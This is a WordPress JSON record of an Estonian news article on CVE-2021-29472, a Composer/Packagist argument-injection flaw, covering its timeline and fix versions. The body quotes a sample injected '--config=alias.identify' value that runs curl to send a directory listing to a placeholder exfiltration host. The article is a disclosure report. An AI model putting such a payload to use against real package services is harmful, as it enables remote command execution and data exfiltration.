{"id":100078,"date":"2021-05-03T10:22:39","date_gmt":"2021-05-03T08:22:39","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist"},"modified":"2021-05-03T10:22:39","modified_gmt":"2021-05-03T08:22:39","slug":"uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","title":{"rendered":"Pakettide halduris Composer esinev haavatavus, mis v\u00f5imaldab PHP-repositooriumi Packagist kompromiteerimist.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Composer'i s\u00f5ltuvuste halduris tuvastati kriitiline haavatavus (CVE-2021-29472), mis v\u00f5imaldab k\u00e4ivitada s\u00fcsteemis juhuslikke k\u00e4ske paketi t\u00f6\u00f6tlemisel, mille URL v\u00e4\u00e4rtus m\u00e4\u00e4rab allika, kust koode laadida. Probleem ilmneb GitDriver, SvnDriver ja HgDriver koostisosades, mis on kasutusel Git, Subversion ja Mercurial l\u00e4htekoodihalduse s\u00fcsteemide puhul. Haavatavus on k\u00f5rvaldatud Composer 1.10.22 ja 2.0.13 v\u00e4ljaannetes. <\/p>\n

Eriti v\u00e4\u00e4rib mainimist, et probleem on peamiselt m\u00f5jutanud Composer'i vaikimisi kasutatavat Pakettide hoidlat Packagist, kus on kokku 306 tuhat paketti PHP arendajatele ja mis teenindab kuus \u00fcle 1,4 miljardit allalaadimist. Katsetuste k\u00e4igus on n\u00e4idatud, et probleemist teadlikud r\u00fcndajad v\u00f5ivad saada kontrolli Packagisti infrastruktuuri \u00fcle, varastada hooldajate autentimisandmeid v\u00f5i suunata pakettide laadimist kolmandatele serveritele, luues v\u00f5imalusi s\u00f5ltuvuste installimise k\u00e4igus pahatahtlike muudatustega pakettide tarnimiseks. <\/p>\n

L\u00f5ppkasutajate ohtu piirab see, et composer.json sisu on tavaliselt kasutaja m\u00e4\u00e4ratud, ning viidatud l\u00e4htekoodid saadetakse kolmandate osapoolte registritesse, mis on tavaliselt usaldusv\u00e4\u00e4rsed. P\u00f5hiv\u00f5imekuse l\u00f6\u00f6k tabas Packagist.org registrit ja Private Packagist teenust, mis kutsuvad esile Composerit, edastades kasutajatelt saadud andmeid. Kurjategijad v\u00f5isid oma koodi k\u00e4ivitada Packagisti serverites, avaldades spetsiaalselt vormindatud paketi. <\/p>\n

Packagisti meeskond k\u00f5rvaldas haavatavuse 12 tunni jooksul p\u00e4rast haavatavuse teate saamist. Uurijad teatasid privaatsete teadete kaudu Packagisti arendajatele 22. aprillil, ning samal p\u00e4eval probleem lahendati. Avalik Composeri uuendus haavatavuse k\u00f5rvaldamiseks avaldati 27. aprillil ja detailid avaldati 28. aprillil. Packagisti serverite logide audit ei tuvastanud seotud haavatavusega kahtlast tegevust. <\/p>\n

Probleem on p\u00f5hjustatud vigast URL-i valideerimise koodi veast failis composer.json ja allalaadimislinkides. Viga on olnud koodis alates novembrist 2011. Packagistis kasutatakse spetsiaalseid vahekihte, et lubada koodi allalaadimist, ilma et see oleks seotud konkreetse versioonihaldusega. Need vahekihid k\u00e4ivitatakse k\u00e4su \u201efromShellCommandline\u201c kaudu, edastades k\u00e4surea argumente. N\u00e4iteks git'i jaoks k\u00e4ivitatakse k\u00e4sk \u201egit ls-remote \u2014heads $URL\u201c, kus URL-i t\u00f6\u00f6tleb meetod \u201eProcessExecutor::escape($url)\u201c, mis desarmeerib potentsiaalselt ohtlikud konstruktsioonid nagu \u201e$(…)\u201c v\u00f5i \u201e`…`\u201c. <\/p>\n

Probleemi tuum on see, et meetod ProcessExecutor::escape ei desarmeerinud j\u00e4rjekorda \u201e\u2014\u201c, mis lubas URL-ile lisada \u00fcksk\u00f5ik millise t\u00e4iendava kutsumise parameetri. Sellist desarmeerimist ei olnud GitDriver.php, SvnDriver.php ja HgDriver.php draiverites. R\u00fcnnakut GitDriver.php puhul takistas see, et k\u00e4sk \u201egit ls-remote\u201c ei toetanud t\u00e4iendavate argumentide m\u00e4\u00e4ramist p\u00e4rast teed. R\u00fcnnak HgDriver.php-le osutus v\u00f5imalikuks, edastades parameetri \u201e\u2014config\u201c utiliidile \u201ehq\u201c, mis v\u00f5imaldas l\u00e4bi viia mis tahes k\u00e4su seadistamise \u201ealias.identify\u201c manipuleerimise kaudu. N\u00e4iteks koodi allalaadimiseks ja k\u00e4ivitamiseks curl utiliidi k\u00e4ivitamise kaudu oleks saanud m\u00e4\u00e4rata: \u2014config=alias.identify=!curl http:\/\/exfiltration-host.tld \u2014data \"$(ls -alh)\" <\/p>\n

Paigutades Packagist'i testpaketi, millel on sarnane URL, veendusid uurijad, et p\u00e4rast selle paigutamist nende serverisse saadi HTTP-p\u00e4ring \u00fchelt serverite<\/a> Packagist AWS-is, mis sisaldas failide loetelu praeguses kataloogis.
\n
Allikas: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c \u0430\u0434\u0440\u0435\u0441 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 GitDriver, SvnDriver \u0438 HgDriver, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0445 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c\u0438 \u0442\u0435\u043a\u0441\u0442\u0430\u043c\u0438 Git, Subversion \u0438 Mercurial. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 Composer 1.10.22 \u0438 2.0.13. […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100078","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Haavatavus Composer'i pakihalduris, mis v\u00f5imaldab PHP-repositooriumi Packagist kompromiteerimist | ProHoster","description":"Composer'i s\u00f5ltuvuste halduris avastati kriitiline haavatavus (CVE-2021-29472), mis v\u00f5imaldab k\u00e4ivitada s\u00fcsteemis juhuslikke k\u00e4ske, kui t\u00f6\u00f6deldakse paketti, millel on spetsiaalselt vormindatud URL-i v\u00e4\u00e4rtus.","canonical_url":"https:\/\/prohoster.info\/et\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"et_EE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u043c \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 Composer, \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0430\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e PHP-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f Packagist | ProHoster","og:description":"\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c.","og:url":"https:\/\/prohoster.info\/et\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-05-03T08:22:39+00:00","article:modified_time":"2021-05-03T08:22:39+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100078","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-05-03 08:26:11","updated":"2026-02-09 16:50:51","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/100078","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/comments?post=100078"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/100078\/revisions"}],"predecessor-version":[{"id":158822,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/100078\/revisions\/158822"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media?parent=100078"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/categories?post=100078"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/tags?post=100078"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}